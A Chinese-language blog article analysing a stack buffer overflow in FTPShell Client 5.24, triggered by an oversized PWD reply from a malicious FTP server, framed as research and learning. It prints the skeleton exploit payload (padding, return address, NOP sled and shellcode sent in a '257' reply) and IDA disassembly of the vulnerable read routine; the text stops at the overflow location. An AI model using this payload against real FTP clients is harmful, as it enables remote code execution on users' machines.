一次与缓冲区溢出的亲密接触

作者:网友投稿 时间:2018-06-20 09:24

字号

这是一个简单的缓冲区溢出的漏洞,今天没事,来分析一下看看他溢出的原因,最后通过平衡堆栈的方式,让目标程序执行shellcode使程序不crash。只是用来研究和学习。

测试软件名称及版本

FTPShell Client 5.24 

下载地址:https://pan.baidu.com/s/1IHOfx0IQQOpuTs55f-T-aQ 

密码:qvo4

用到的工具

- IDA 6.8

- winxp sp3 32位虚拟机

测试漏洞

1、起一个ftp服务器,打开21端口。

2、等待客户端连接后,向客户方发送PWD的数据

3、ftp客户端收到服务器发送的PWD数据后,会crash

服务器给客户端发送的数据:

buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode sks.send('257 "' + buffer + '" is current directory\r\n')

远程注入代码前后的流程图对比:

1309289.jpg

分析漏洞的位置:

这个call的主要功能键就是读取服务器发送来的数据到buffer

.text:0044D010 8D 95 6C FE FF FF                       lea     edx, [ebp+var_194] .text:0044D016 52                                      push    edx .text:0044D017 56                                      push    esi .text:0044D018 53                                      push    ebx .text:0044D019 E8 E6 12 00 00                          call    read_server_string_to_buffer ;读取服务器发来的buffer .text:0044D019                                                                 ; success = 0 ; .text:0044D019                                                                 ; fail = 1; no_server_data .text:0044D01E 83 C4 0C                                add     esp, 0Ch .text:0044D021 85 C0                                   test    eax, eax .text:0044D023 75 34                                   jnz     short loc_44D059
程序分配栈的大小

进入read_server_string_to_buffer这个call,我们看看分配栈的大小为0×408

.text:0044E304 55                                      push    ebp .text:0044E305 8B EC                                   mov     ebp, esp .text:0044E307 81 C4 F8 FB FF FF                       add     esp, -408h      ; 分配local栈的大小 .text:0044E30D 53                                      push    ebx .text:0044E30E 56                                      push    esi .text:0044E30F 57                                      push    edi .text:0044E310 8D 75 FC                                lea     esi, [ebp+var_4] .text:0044E313 8B 45 0C                                mov     eax, [ebp+arg_4] .text:0044E316 8B 7D 08                                mov     edi, [ebp+arg_0] .text:0044E319 8B 98 9C 05 00 00                       mov     ebx, [eax+59Ch] ; 收到server发来的buffer指针 .text:0044E31F 85 DB                                   test    ebx, ebx .text:0044E321 0F 84 3B 01 00 00                       jz      no_server_data

溢出的位置
责任编辑:CQITer新闻报料:400-888-8888   本站原创,未经授权不得转载
继续阅读
热新闻
推荐
关于我们联系我们免责声明隐私政策 友情链接